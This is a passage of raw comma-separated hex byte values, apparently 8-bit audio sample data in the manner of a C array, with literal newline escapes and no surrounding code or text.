0x83,0x8a,0x91\n,0x97,0x9b,0x9f,0xa0,0xa1,0x9f,0x9d,0x9c,0x9b,0x99,0x96,0x94,0x92,0x91,0x90,0x8f,0x8e,0x8c,0x8a,0x89,0x87,0x85,0x83,0x81,0x80,0x80,0x7f,0x7f,0x7e,0x7e,0x7d,0x7c\n,0x7b,0x7a,0x78,0x75,0x72,0x6e,0x68,0x63,0x5e,0x59,0x54,0x52,0x52,0x52,0x55,0x5a,0x63,0x6d,0x77,0x82,0x8b,0x93,0x9a,0xa0,0xa2,0xa3,0xa3,0xa1,0x9e,0x9b,0x97,0x92\n,0x8e,0x89,0x84,0x80,0x7e,0x7b,0x79,0x78,0x77,0x78,0x7a,0x7d,0x80,0x83,0x88,0x8a,0x8e,0x91,0x93,0x94,0x95,0x96,0x97,0x97,0x96,0x95,0x93,0x91,0x8e,0x8a,0x85,0x7f\n,0x79,0x72,0x69,0x60,0x57,0x4f,0x47,0x40,0x3c,0x3d,0x3e,0x41,0x48,0x56,0x64,0x72,0x83,0x90,0x9c,0xa7,0xae,0xb2,0xb3,0xb2,0xad,0xa9,0xa5,0x9e,0x97,0x91,0x8c,0x86\n,0x81,0x7d,0x79,0x76,0x75,0x73,0x73,0x75,0x78,0x7a,0x7f,0x84,0x88,0x8c,0x8f,0x92,0x94,0x96,0x96,0x97,0x99,0x98,0x97,0x95,0x92,0x8d,0x89,0x85,0x7f,0x78,0x71,0x68\n,0x5f,0x56,0x4e,0x45,0x3f,0x3e,0x3e,0x41,0x46,0x50,0x62,0x72,0x85,0x91,0x9d,0xa9,0xb0,0xb7,0xb4,0xac,0xa3,0x9d,0x97,0x8e,0x84,0x7b,0x75,0x78,0x76,0x76,0x77,0x7c\n,0x83,0x86,0x89,0x86,0x8a,0x8b,0x8c,0x88,0x89,0x89,0x8b,0x90,0x90,0x94,0x98,0x9e,0x9c,0x9f,0x9a,0x97,0x8e,0x84,0x79,0x6d,0x60,0x50,0x41,0x31,0x27,0x24,0x25,0x3b\n,0x4f,0x52,0x72,0x85,0x9c,0xad,0xb1,0xb3,0xb5,0xb5,0x9d,0x91,0x86,0x7b,0x77,0x70,0x6f,0x75,0x81,0x89,0x8a,0x91,0x92,0x8e,0x88,0x7e,0x78,0x77,0x71,0x6d,0x6e,0x77\n,0x80,0x88,0x8f,0x98,0xa8,0xad,0xb0,0xaf,0xaf,0xad,0xa9,0xa0,0x98,0x93,0x89,0x80,0x76,0x70,0x68,0x5f,0x50,0x41,0x32,0x25,0x21,0x1e,0x35,0x4a,0x50,0x6d,0x83,0x9c\n,0xb3,0xbc,0xba,0xbb,0xb9,0xa2,0x95,0x85,0x79,0x75,0x73,0x72,0x77,0x86,0x8f,0x94,0x97,0x95,0x90,0x8c,0x85,0x7d,0x77,0x73,0x6f,0x6f,0x75,0x7b,0x83,0x8b,0x95,0x9f\n,0xa7,0xaa,0xab,0xaa,0xa7,0xa3,0x9a,0x8e,0x83,0x78,0x6d,0x62,0x57,0x4c,0x42,0x34,0x27,0x24,0x26,0x37,0x53,0x5a,0x6e,0x86,0x98,0xb0,0xb8,0xb2,0xb0,0xae,0x9d,0x8f\n,0x80,0x72,0x70,0x75,0x77,0x7d,0x89,0x92,0x9b,0x9f,0x9b,0x92,0x89,0x80,0x79,0x77,0x70,0x6e,0x71,0x77,0x83,0x8c,0x92,0x9b,0xa5,0xab,0xae,0xab,0xa6,0xa3,0xa1,0x98\n,0x90,0x83,0x76,0x6f,0x67,0x5e,0x53,0x44,0x35,0x28,0x21,0x20,0x2b,0x4a,0x55,0x68,0x7e,0x8c,0xab,0xbb,0xbe,0xba,0xb4,0xa6,0x9b,0x91,0x7d,0x75,0x73,0x75,0x7f,0x8a\n,0x8f,0x95,0x9a,0x9a,0x98,0x8d,0x85,0x7d,0x7b,0x78,0x75,0x74,0x75,0x7e,0x85,0x8e,0x94,0x9b,0xa1,0xa7,0xa8,0xa6,0xa5,0xa1,0x9b,0x92,0x87,0x78,0x6e,0x62,0x58,0x4d\n,0x3b,0x2b,0x1e,0x1b,0x1e,0x39,0x53,0x61,0x78,0x7e,0x95,0xad,0xb8,0xb8,0xb0,0xa3,0x95,0x94,0x86,0x7f,0x7a,0x78,0x81,0x8f,0x9b,0xa0,0xa3,0x9c,0x98,0x91,0x86,0x7d\n,0x73,0x6d,0x6e,0x72,0x75,0x7d,0x82,0x89,0x91,0x98,0x9e,0xa2,0xa2,0x9d,0x9c,0x98,0x96,0x91,0x87,0x7b,0x70,0x67,0x5d,0x55,0x46,0x36,0x24,0x1a,0x16,0x23,0x47,0x5a\n,0x72,0x80,0x89,0xa4,0xb5,0xbf,0xbf,0xb2,0x9c,0x93,0x8a,0x82,0x85,0x7d,0x7d,0x85,0x90,0x9d,0xaa,0xa5,0x9e,0x97,0x89,0x83,0x80,0x78,0x77,0x78,0x75,0x7f,0x86,0x8b\n,0x94,0x98,0x9a,0xa0,0xa2,0xa2,0xa4,0x9e,0x99,0x94,0x8b,0x85,0x7a,0x6a,0x5f,0x53,0x48,0x3e,0x2c,0x19,0x10,0x0d,0x25,0x4a,0x61,0x7f,0x83,0x8e,0xa5,0xae,0xbf,0xbd\n,0xab,0x97,0x86,0x78,0x7c,0x83,0x80,0x87,0x8a,0x8d,0x9f,0xa5,0xa5,0xa3,0x8f,0x7f,0x77,0x70,0x76,0x7c,0x79,0x7b,0x7d,0x7f,0x8d,0x94,0x99,0x9f,0x9a,0x98,0x99,0x97\n,0x9a,0x98,0x8c,0x84,0x78,0x6c,0x66,0x5c,0x51,0x45,0x31,0x20,0x14,0x0d,0x19,0x3d,0x56,0x77,0x87,0x86,0xa1,0xa2,0xb6,0xbe,0xb1,0xa5,0x8f,0x7c,0x76,0x80,0x82,0x91\n,0x95,0x92,0x9e,0xa1,0xa3,0xab,0x9b,0x8c,0x7d,0x69,0x6a,0x73,0x7d,0x89,0x8c,0x87,0x8f,0x90,0x98,0xa4,0xa3,0xa3,0x9c,0x93,0x94,0x95,0x96,0x96,0x88,0x7a,0x6a,0x5e\n,0x59,0x53,0x46,0x34,0x1a,0x0a,0x05,0x1f,0x4b,0x67,0x8c,0x85,0x93,0x9c,0xa2,0xbe,0xb9,0xb6,0x9b,0x83,0x6e,0x71,0x7b,0x89,0x9a,0x98,0x9b,0x9d,0x9c,0xa5,0xa5,0x98\n,0x89,0x6e,0x5f,0x5e,0x6a,0x7e,0x8e,0x90,0x90,0x8d,0x8f,0x9b,0xa2,0xa6,0xa2,0x97,0x8e,0x8b,0x8c,0x91,0x8f,0x86,0x75,0x64,0x59,0x52,0x4e,0x42,0x2f,0x15,0x04,0x00\n,0x22,0x4b,0x6f,0x90,0x87,0x96,0x95,0xa4,0xb8,0xb9,0xb2,0x97,0x7b,0x63,0x6b,0x71,0x8a,0x9a,0x9a,0x9d,0x97,0x97,0x9f,0xa0,0x96,0x87,0x68,0x56,0x54,0x62,0x7e,0x91\n,0x98,0x98,0x90,0x93,0x9c,0xa7,0xae,0xaa,0x9d,0x91,0x8c,0x90,0x97,0x9a,0x92,0x81,0x6f,0x60,0x5c,0x58,0x4e,0x3a,0x20,0x09,0x01,0x15,0x45,0x67,0x90,0x8f,0x93,0x9e\n,0xa2,0xc0,0xc5,0xc0,0xa8,0x89,0x6b,0x6e,0x74,0x89,0x9e,0x9d,0x9f,0x9b,0x98,0xa1,0xa6,0x9b,0x90,0x6f,0x59,0x54,0x5a,0x76,0x8a,0x92,0x95,0x8d,0x91,0x99,0xa5,0xae\n,0xac,0xa0,0x93,0x8d,0x8e,0x98,0x99,0x95,0x84,0x72,0x63,0x5e,0x5b,0x53,0x42,0x28,0x0d,0x00,0x01,0x2b,0x53,0x75,0x8c,0x7f,0x94,0x98,0xb0,0xc6,0xbf,0xaf,0x8e,0x70\n,0x66,0x71,0x7b,0x91,0x96,0x92,0x94,0x94,0x9a,0xa7,0x9c,0x8f,0x75,0x56,0x50,0x51,0x66,0x7e,0x86,0x8c,0x8a,0x8b,0x9a,0xa4,0xaf,0xae,0xa3,0x98,0x92,0x92,0x9b,0x9e\n,0x99,0x8f,0x7d,0x71,0x6c,0x69,0x62,0x55,0x3b,0x25,0x0f,0x08,0x10,0x35,0x54,0x72,0x85,0x81,0x9e,0xa8,0xc1,0xd0,0xbf,0xad,0x8e,0x78,0x73,0x7f,0x82,0x90,0x90,0x8c\n,0x99,0x9c,0xa7,0xad,0x9b,0x87,0x6f,0x58,0x59,0x5d,0x6c,0x7c,0x80,0x88,0x8e,0x98,0xa6,0xad,0xaf,0xab,0xa2,0x9d,0x9d,0x9d,0xa1,0x9e,0x97,0x8f,0x82,0x7c,0x76,0x6e\n,0x65,0x54,0x3c,0x2a,0x17,0x0f,0x11,0x1a,0x41,0x57,0x76,0x88,0x92,0xb4,0xba,0xcc,0xc6,0xae,0x98,0x81,0x77,0x77,0x80,0x7d,0x86,0x87,0x8e,0xa2,0xa7,0xa7,0x9e,0x82\n,0x6f,0x60,0x55,0x5b,0x5e,0x63,0x6f,0x7a,0x89,0x9d,0xa4,0xab,0xaa,0xa3,0xa4,0xa1,0x9f,0x9f,0x9b,0x97,0x95,0x8f,0x8e,0x86,0x7d,0x75,0x68,0x5d,0x4d,0x3b,0x2a,0x1a\n,0x0f,0x0b,0x11,0x30,0x50,0x6e,0x8c,0x97,0xb2,0xc0,0xc7,0xc8,0xb3,0x9d,0x8a,0x7e,0x78,0x7c,0x79,0x7d,0x89,0x93,0xa2,0xac,0xa3,0x9a,0x88,0x75,0x70,0x64,0x5d,0x5d\n,0x5c,0x67,0x7c,0x8c,0xa0,0xab,0xaa,0xad,0xac,0xad,0xb0,0xab,0xa5,0xa0,0x9a,0x99,0x99,0x94,0x90,0x87,0x7b,0x74,0x69,0x5f,0x53,0x41,0x31,0x22,0x16,0x11,0x14,0x2f\n,0x4d,0x6b,0x84,0x8e,0xa6,0xb8,0xbf,0xc4,0xb8,0xa2,0x94,0x86,0x80,0x82,0x7e,0x7c,0x82,0x86,0x8d,0x97,0x92,0x8d,0x88,0x7b,0x79,0x70,0x65,0x5f,0x5d,0x62,0x70,0x80\n,0x89,0x94,0x97,0x9b,0xa5,0xab,0xaf,0xad,0xa5,0x9e,0x9a,0x96,0x95,0x8f,0x87,0x80,0x79,0x78,0x76,0x73,0x6e,0x65,0x5b,0x50,0x43,0x3c,0x33,0x30,0x32,0x3e,0x4f,0x56\n,0x5f,0x66,0x73,0x7f,0x89,0x92,0x96,0x9c,0x9f,0x9f,0xa1,0x9d,0x9b,0x98,0x95,0x92,0x8c,0x8a,0x87,0x85,0x84,0x80,0x7b,0x77,0x73,0x74,0x76,0x79,0x7d,0x81,0x86,0x8a\n,0x91,0x98,0x9f,0xa3,0xa6,0xa8,0xa8,0xa8,0xa6,0xa1,0x9d,0x98,0x93,0x91,0x8e,0x8f,0x8d,0x87,0x7f,0x73,0x67,0x5d,0x53,0x4a,0x41,0x36,0x2e,0x2b,0x2e,0x33,0x36,0x3e\n,0x4c,0x5e,0x71,0x85,0x97,0xa5,0xaf,0xb5,0xb8,0xb5,0xb0,0xa9,0xa3,0x9d,0x96,0x90,0x8b,0x85,0x80,0x7d,0x7b,0x79,0x78,0x75,0x73,0x71,0x72,0x74,0x78,0x7d,0x82,0x87\n,0x8d,0x95,0x9b,0xa0,0xa2,0xa2,0xa2,0xa4,0xa6,0xa7,0xa6,0xa4,0xa0,0x9b,0x97,0x8f,0x85,0x7a,0x70,0x67,0x5d,0x53,0x47,0x3d,0x33,0x2a,0x25,0x23,0x29,0x30,0x36,0x41\n,0x51,0x64,0x74,0x84,0x90,0x99,0xa1,0xa8,0xae,0xaf,0xad,0xa9,0xa4,0x9f,0x99,0x93,0x8e,0x8a,0x86,0x82,0x80,0x7d,0x7b,0x79,0x76,0x76,0x76,0x79,0x7d,0x80,0x83,0x86\n,0x8b,0x90,0x97,0x9e,0xa3,0xa7,0xaa,0xaf,0xb2,0xb1,0xae,0xa8,0xa2,0x9d,0x98,0x92,0x8a,0x80,0x75,0x6c,0x62,0x5b,0x53,0x4c,0x45,0x3e,0x3b,0x38,0x35,0x36,0x38,0x39\n,0x3e,0x4a,0x5a,0x6b,0x7b,0x8c,0x99,0xa6,0xb0,0xb5,0xb5,0xb2,0xae,0xa9,0xa3,0x9b,0x94,0x8d,0x88,0x85,0x84,0x82,0x80,0x7d,0x7a,0x78,0x75,0x73,0x73,0x75,0x77,0x7a\n,0x7e,0x85,0x8d,0x95,0x9d,0xa3,0xa7,0xaa,0xab,0xab,0xaa,0xa8,0xa2,0x9d,0x97,0x91,0x8c,0x86,0x81,0x7a,0x74,0x6e,0x67,0x60,0x57,0x4e,0x44,0x39,0x30,0x29,0x25,0x26\n,0x2b,0x30,0x39,0x46,0x58,0x6b,0x7b,0x8b,0x98,0xa1,0xa8,0xad,0xaf,0xad,0xaa,0xa7,0xa4,0x9f,0x9b,0x97,0x93,0x91,0x8e,0x8b,0x88,0x84,0x7f,0x7b,0x77,0x76,0x75,0x77\n,0x7a,0x7e,0x83,0x8a,0x91,0x97,0x9c,0xa0,0xa4,0xa7,0xa8,0xa9,0xa9,0xa8,0xa6,0xa3,0xa0,0x9d,0x99,0x94,0x8e,0x87,0x81,0x7a,0x72,0x68,0x5e,0x56,0x4e,0x46,0x3e,0x37\n,0x30,0x2b,0x2b,0x2f,0x34,0x39,0x43,0x50,0x60,0x71,0x81,0x91,0x9e,0xa6,0xae,0xb3,0xb4,0xb3,0xb1,0xad,0xa8,0xa2,0x9c,0x97,0x92,0x8f,0x8b,0x87,0x84,0x80,0x7c,0x7a\n,0x77,0x74,0x73,0x75,0x79,0x7c,0x81,0x87,0x8d,0x93,0x99,0x9e,0xa1,0xa2,0xa3,0xa4,0xa4,0xa3,0xa1,0x9e,0x9c,0x9a,0x97,0x93,0x8e,0x88,0x81,0x78,0x6f,0x65,0x5a,0x50\n,0x46,0x3e,0x36,0x2f,0x2a,0x27,0x27,0x29,0x30,0x37,0x40,0x4b,0x5a,0x6a,0x79,0x88,0x96,0xa0,0xa8,0xae,0xb1,0xb2,0xb2,0xb1,0xae,0xa9,0xa4,0xa0,0x9b,0x97,0x94,0x8f\n,0x8a,0x87,0x82,0x7f,0x7c,0x79,0x78,0x77,0x7a,0x7e,0x82,0x86,0x8c,0x92,0x97,0x9c,0xa0,0xa3,0xa6,0xa7,0xa8,0xa9,0xa7,0xa5,0xa4,0xa2,0x9d,0x98,0x93,0x8c,0x85,0x7d\n,0x73,0x6b,0x5f,0x53,0x4a,0x40,0x37,0x2e,0x27,0x24,0x22,0x23,0x2d,0x3d,0x46,0x53,0x70,0x78,0x85,0x9c,0xa2,0xac,0xb0,0xb1,0xae,0xab,0xa5,0x9d,0x9c,0x98,0x8f,0x90\n,0x92,0x8f,0x90,0x93,0x94,0x8f,0x90,0x8c,0x87,0x85,0x7d,0x7a,0x78,0x75,0x77,0x7b,0x7b,0x84,0x8d,0x8f,0x97,0xa0,0xa0,0xa4,0xa8,0xa4,0xa5,0xa2,0x9c,0x9a,0x95,0x8f\n,0x8c,0x89,0x81,0x7b,0x78,0x70,0x6a,0x64,0x5f,0x57,0x4f,0x49,0x42,0x3b,0x35,0x2f,0x2b,0x25,0x28,0x2d,0x3a,0x3d,0x49,0x6f,0x69,0x80,0x9f,0xa1,0xb0,0xba,0xc0,0xbb\n,0xbb,0xb4,0xad,0xaa,0x9c,0x99,0x9a,0x8e,0x8f,0x93,0x93,0x91,0x91,0x96,0x8d,0x8d,0x8a,0x86,0x81,0x78,0x7c,0x75,0x73,0x79,0x7c,0x81,0x86,0x92,0x98,0x9d,0xa5,0xab\n,0xac,0xad,0xac,0xac,0xa6,0xa0,0x9e,0x93,0x8d,0x85,0x7f,0x76,0x6e,0x6a,0x62,0x5d,0x57,0x54,0x4e,0x4a,0x47,0x41,0x3f,0x38,0x33,0x34,0x30,0x31,0x3c,0x48,0x43,0x66\n,0x74,0x73,0x9e,0xa4,0xaf,0xc1,0xc7,0xc9,0xc8,0xc2,0xb8,0xb3,0xa4,0x98,0x99,0x88,0x84,0x88,0x7f,0x86,0x84,0x86,0x86,0x85,0x82,0x80,0x7f,0x74,0x76,0x71,0x6b,0x6c\n,0x71,0x6e,0x78,0x80,0x86,0x91,0x98,0xa3,0xa7,0xac,0xac,0xaf,0xa8,0xa4,0xa0,0x94,0x8d,0x86,0x7c,0x73,0x70,0x66,0x64,0x5e,0x5d,0x5c,0x56,0x57,0x54,0x51,0x4e,0x4e\n,0x47,0x42,0x43,0x3c,0x3b,0x3e,0x47,0x53,0x4c,0x72,0x7f,0x7b,0xaa,0xb1,0xb8,0xce,0xd1,0xd4,0xd2,0xc8,0xc2,0xb7,0xa3,0x98,0x94,0x7d,0x79,0x7a,0x6e,0x74,0x72,0x77\n,0x7a,0x7a,0x7d,0x81,0x7e,0x7b,0x81,0x7b,0x77,0x7a,0x7b,0x76,0x7c,0x84,0x85,0x8c,0x97,0x9c,0xa1,0xa8,0xab,0xae,0xaa,0xa9,0xa6,0x9c,0x94,0x8d,0x83,0x78,0x73,0x6a\n,0x64,0x60,0x5c,0x5c,0x5b,0x5a,0x5b,0x5d,0x5c,0x5d,0x5c,0x5c,0x57,0x54,0x53,0x4f,0x4b,0x4f,0x58,0x61,0x5e,0x74,0x8d,0x83,0xa2,0xb5,0xb0,0xc2,0xc5,0xbe,0xc1,0xb0\n,0xa6,0x9f,0x89,0x7c,0x78,0x6a,0x61,0x68,0x60,0x65,0x6a,0x6d,0x78,0x79,0x7c,0x85,0x85,0x80,0x86,0x85,0x7c,0x7d,0x7c,0x7d,0x7b,0x79,0x87,0x86,0x86,0x96,0x9c,0x99\n,0xa4,0xa8,0xa6,0xa3,0xa3,0x9d,0x95,0x8a,0x84,0x7c,0x6e,0x6d,0x68,0x64,0x63,0x66,0x68,0x6b,0x6d,0x74,0x74,0x75,0x78,0x74,0x73,0x6d,0x6a,0x64,0x5d,0x59,0x57,0x53\n,0x58,0x6b,0x60,0x71,0x94,0x83,0x9d,0xb3,0xaa,0xbc,0xbb,0xb3,0xb6,0xa7,0x94,0x93,0x82,0x6b,0x6f,0x67,0x5b,0x66,0x62,0x6c,0x76,0x74,0x85,0x8d,0x8a,0x91,0x97,0x8e\n,0x8b,0x8d,0x82,0x7f,0x7b,0x75,0x77,0x76,0x78,0x82,0x84,0x8b,0x95,0x98,0x9f,0xa0,0xa5,0xa0,0x9e,0x97,0x90,0x89,0x7c,0x78,0x71,0x6b,0x67,0x69,0x67,0x6b,0x6e,0x73\n,0x76,0x7c,0x7d,0x7f,0x7e,0x79,0x79,0x70,0x6c,0x65,0x5f,0x57,0x55,0x51,0x50,0x4f,0x54,0x61,0x6e,0x68,0x83,0x97,0x8c,0xa6,0xaa,0xa8,0xb1,0xa8,0x9f,0xa5,0x8f,0x83\n,0x83,0x79,0x6c,0x6e,0x6e,0x6d,0x76,0x72,0x7d,0x86,0x84,0x88,0x8f,0x8d,0x8b,0x8a,0x86,0x84,0x86,0x7d,0x7e,0x82,0x7f,0x83,0x86,0x89,0x8f,0x91,0x90,0x95,0x95,0x91\n,0x90,0x91,0x88,0x88,0x83,0x7e,0x7e,0x78,0x77,0x77,0x77,0x75,0x79,0x78,0x7b,0x7e,0x80,0x82,0x84,0x83,0x84,0x81,0x7f,0x7f,0x7a,0x77,0x76,0x74,0x6f,0x71,0x6f,0x6f\n,0x6f,0x70,0x72,0x73,0x73,0x76,0x77,0x78,0x78,0x7b,0x7a,0x7a,0x7c,0x7d,0x7f,0x80,0x82,0x85,0x86,0x89,0x8b,0x8c,0x8d,0x8c,0x8d,0x8b,0x8a,0x89,0x88,0x86,0x85,0x85\n,0x84,0x82,0x84,0x83,0x81,0x83,0x81,0x80,0x7f,0x7e,0x7d,0x7d,0x7b,0x7a,0x7a,0x79,0x78,0x79,0x79,0x78,0x7b,0x7c,0x7e,0x7f,0x82,0x85,0x86,0x87,0x88,0x89,0x87,0x87\n,0x87,0x84,0x82,0x80,0x7c,0x7a,0x77,0x75,0x74,0x72,0x71,0x73,0x73,0x72,0x75,0x76,0x77,0x78,0x7a,0x7b,0x7c,0x7d,0x7e,0x80,0x81,0x82,0x85,0x87,0x88,0x88,0x8a,0x8a\n,0x88,0x88,0x88,0x87,0x85,0x85,0x84,0x82,0x81,0x80,0x7f,0x7f,0x7e,0x7f,0x80,0x7f,0x81,0x83,0x83,0x83,0x84,0x83,0x88,0x8e,0x85,0x86,0x87,0x82,0x85,0x84,0x81,0x81\n,0x7f,0x80,0x81,0x7f,0x81,0x81,0x81,0x83,0x83,0x81,0x82,0x81,0x80,0x80,0x7e,0x7e,0x7f,0x7c,0x79,0x7e,0x84,0x7f,0x7d,0x7e,0x7a,0x7b,0x78,0x79,0x7b,0x77,0x77,0x79\n,0x77,0x7a,0x7a,0x78,0x7c,0x7e,0x79,0x79,0x7d,0x7c,0x7c,0x7c,0x7d,0x7f,0x80,0x7d,0x81,0x84,0x80,0x81,0x84,0x7f,0x81,0x80,0x7b,0x80,0x7d,0x7d,0x7e,0x7d,0x7e,0x7f\n,0x81,0x82,0x82,0x84,0x84,0x84,0x86,0x84,0x83,0x82,0x81,0x81,0x7e,0x7e,0x7f,0x7d,0x7f,0x7e,0x7c,0x81,0x81,0x7b,0x7f,0x80,0x80,0x82,0x7f,0x81,0x85,0x82,0x81,0x82\n,0x83,0x81,0x7f,0x7f,0x80,0x7e,0x7e,0x7f,0x7e,0x7f,0x82,0x7f,0x7f,0x82,0x7e,0x80,0x81,0x7d,0x7c,0x7f,0x7b,0x79,0x7d,0x7a,0x7a,0x7c,0x7c,0x7b,0x7d,0x80,0x7f,0x7f\n,0x82,0x84,0x82,0x81,0x83,0x82,0x81,0x82,0x80,0x80,0x82,0x81,0x81,0x87,0x87,0x86,0x8a,0x89,0x89,0x8b,0x8a,0x88,0x86,0x86,0x84,0x81,0x80,0x7f,0x7e,0x7c,0x7d,0x7c\n,0x7b,0x7c,0x7a,0x7a,0x7b,0x79,0x78,0x7a,0x7a,0x79,0x79,0x7b,0x7a,0x7b,0x7d,0x7c,0x7d,0x7e,0x7c,0x7b,0x7c,0x7b,0x79,0x76,0x77,0x77,0x74,0x72,0x72,0x70,0x6e,0x6c\n,0x69,0x73,0x82,0x70,0x76,0x91,0x8d,0x8f,0x90,0x96,0x9f,0x93,0x8d,0x8c,0x87,0x83,0x79,0x70,0x77,0x78,0x70,0x75,0x7d,0x82,0x86,0x86,0x8c,0x93,0x93,0x8e,0x8e,0x8f\n,0x8b,0x84,0x83,0x84,0x81,0x7e,0x81,0x84,0x85,0x86,0x89,0x8c,0x8e,0x8d,0x8a,0x8a,0x88,0x84,0x7d,0x7b,0x7a,0x75,0x71,0x72,0x72,0x72,0x70,0x71,0x73,0x74,0x73,0x71\n,0x71,0x71,0x6e,0x6a,0x6c,0x6b,0x6e,0x7f,0x7a,0x77,0x8d,0x95,0x96,0x93,0x97,0xa0,0x96,0x8b,0x87,0x82,0x7d,0x75,0x6e,0x72,0x74,0x77,0x79,0x7c,0x87,0x8e,0x8f,0x8c\n,0x8e,0x92,0x8b,0x81,0x7e,0x7c,0x77,0x71,0x6f,0x71,0x72,0x7a,0x7e,0x80,0x8a,0x94,0x95,0x92,0x96,0x9a,0x94,0x8b,0x87,0x86,0x7f,0x78,0x76,0x75,0x75,0x74,0x77,0x79\n,0x7c,0x7f,0x80,0x7f,0x80,0x80,0x7e,0x7a,0x79,0x79,0x76,0x71,0x71,0x72,0x6e,0x6b,0x6b,0x6c,0x6a,0x66,0x65,0x66,0x71,0x84,0x79,0x78,0x90,0x9f,0xa0,0x92,0x9b,0xaa\n,0x9d,0x8b,0x84,0x86,0x80,0x70,0x6a,0x70,0x73,0x78,0x7a,0x81,0x89,0x92,0x98,0x91,0x91,0x93,0x8e,0x83,0x77,0x75,0x73,0x6d,0x6a,0x6a,0x71,0x79,0x7e,0x86,0x8c,0x96\n,0x9d,0x9d,0x9b,0x99,0x98,0x8f,0x86,0x7d,0x78,0x76,0x6f,0x6c,0x6e,0x72,0x76,0x79,0x7d,0x82,0x86,0x87,0x85,0x83,0x83,0x81,0x7b,0x78,0x76,0x75,0x73,0x73,0x75,0x75\n,0x76,0x77,0x76,0x76,0x76,0x73,0x69,0x69,0x82,0x7e,0x6e,0x79,0x8d,0x9d,0x8d,0x88,0x9d,0xa2,0x95,0x86,0x84,0x85,0x7c,0x70,0x6e,0x6e,0x73,0x77,0x7a,0x7b,0x82,0x91\n,0x90,0x8c,0x89,0x8e,0x8c,0x80,0x75,0x72,0x75,0x71,0x69,0x69,0x72,0x7c,0x7f,0x82,0x89,0x94,0x9c,0x98,0x95,0x96,0x95,0x8f,0x83,0x7d,0x7b,0x78,0x73,0x6d,0x6f,0x75\n,0x77,0x77,0x7a,0x80,0x85,0x85,0x84,0x84,0x83,0x82,0x80,0x7d,0x7a,0x79,0x7b,0x7b,0x79,0x7a,0x7d,0x80,0x80,0x80,0x82,0x83,0x84,0x82,0x81,0x80,0x7f,0x7f,0x7c,0x7b\n,0x7c,0x7c,0x7c,0x7c,0x7d,0x80,0x7f,0x7f,0x82,0x85,0x87,0x87,0x87,0x8a,0x8b,0x8a,0x87,0x87,0x87,0x85,0x82,0x7e,0x7e,0x7d,0x7b,0x78,0x79,0x7d,0x7c,0x7b,0x7d,0x80\n,0x82,0x81,0x82,0x83,0x82,0x80,0x7f,0x7e,0x7c,0x7a,0x79,0x78,0x78,0x79,0x76,0x76,0x77,0x78,0x76,0x73,0x74,0x7c,0x7e,0x79,0x7c,0x84,0x8b,0x89,0x86,0x8a,0x8e,0x8c\n,0x85,0x81,0x80,0x7e,0x79,0x75,0x75,0x76,0x77,0x79,0x7b,0x7d,0x82,0x85,0x87,0x87,0x87,0x89,0x88,0x84,0x81,0x82,0x81,0x7c,0x78,0x79,0x7c,0x7b,0x7a,0x7c,0x80,0x82\n,0x83,0x84,0x86,0x87,0x88,0x8a,0x87,0x85,0x85,0x85,0x81,0x7b,0x7b,0x7b,0x7a,0x78,0x78,0x7b,0x7d,0x7e,0x81,0x83,0x84,0x86,0x86,0x85,0x84,0x82,0x81,0x7f,0x7c,0x7a\n,0x7a,0x7a,0x79,0x79,0x7a,0x7d,0x7e,0x7f,0x7f,0x82,0x83,0x83,0x82,0x81,0x81,0x81,0x82,0x80,0x7e,0x7e,0x81,0x7f,0x7d,0x7e,0x80,0x80,0x7e,0x7e,0x80,0x80,0x7f,0x7f\n,0x81,0x81,0x80,0x82,0x82,0x81,0x82,0x82,0x82,0x80,0x80,0x81,0x80,0x7e,0x7d,0x7f,0x80,0x7e,0x7e,0x7f,0x81,0x80,0x7f,0x7f,0x80,0x80,0x80,0x7e,0x7e,0x7e,0x80,0x7f\n,0x7d,0x7e,0x7f,0x7e,0x7d,0x7c,0x7e,0x7e,0x7c,0x7c,0x7d,0x7e,0x7e,0x7e,0x7f,0x80,0x7f,0x80,0x81,0x80,0x80,0x80,0x7f,0x7e,0x7e,0x7d,0x7d,0x7d,0x7e,0x7e,0x7f,0x80\n,0x81,0x82,0x83,0x83,0x82,0x81,0x81,0x80,0x7f,0x7f,0x7e,0x7d,0x7e,0x7e,0x7e,0x7e,0x80,0x82,0x82,0x82,0x83,0x84,0x84,0x83,0x82,0x82,0x82,0x81,0x7f,0x7f,0x80,0x80\n,0x7e,0x7e,0x7f,0x81,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7f,0x7f,0x7e,0x7e,0x7f,0x80,0x7f,0x7e,0x7f,0x80,0x7f\n,0x7e,0x7e,0x7f,0x7f,0x7e,0x7d,0x7e,0x7e,0x7d,0x7d,0x7e,0x7f,0x7f,0x7f,0x7f,0x81,0x81,0x81,0x80,0x81,0x81,0x81,0x80,0x7f,0x7f,0x7f,0x7f,0x7e,0x7f,0x80,0x7f,0x7f\n,0x7f,0x80,0x81,0x80,0x80,0x80,0x81,0x81,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7f,0x7e,0x7e,0x7f,0x80,0x80,0x80,0x80,0x81,0x81,0x81\n,0x81,0x81,0x80,0x80,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x81,0x81,0x80,0x81,0x81\n,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7e,0x7f,0x7f,0x7e,0x7f,0x80,0x81,0x81,0x81,0x82,0x82,0x82,0x81,0x82,0x82,0x80,0x80,0x7f\n,0x7f,0x7e,0x7e,0x7e,0x7d,0x7d,0x7e,0x7e,0x7e,0x7e,0x7f,0x80,0x7f,0x7f,0x80,0x80,0x80,0x7f,0x7f,0x80,0x7e,0x7e,0x7f,0x7d,0x7d,0x7e,0x7d,0x7e,0x7f,0x7e,0x7f,0x80\n,0x80,0x80,0x80,0x81,0x80,0x80,0x81,0x7f,0x80,0x80,0x7e,0x7f,0x80,0x7e,0x7e,0x80,0x80,0x7e,0x80,0x80,0x7e,0x7f,0x7f,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80\n,0x7f,0x80,0x80,0x80,0x80,0x80,0x81,0x80,0x80,0x81,0x80,0x80,0x81,0x80,0x80,0x7f,0x80,0x80,0x7e,0x81,0x7f,0x7e,0x80,0x7f,0x7e,0x7f,0x7f,0x7e,0x80,0x80,0x7f,0x80\n,0x81,0x80,0x81,0x82,0x82,0x80,0x81,0x81,0x80,0x80,0x81,0x80,0x7f,0x81,0x80,0x7f,0x80,0x80,0x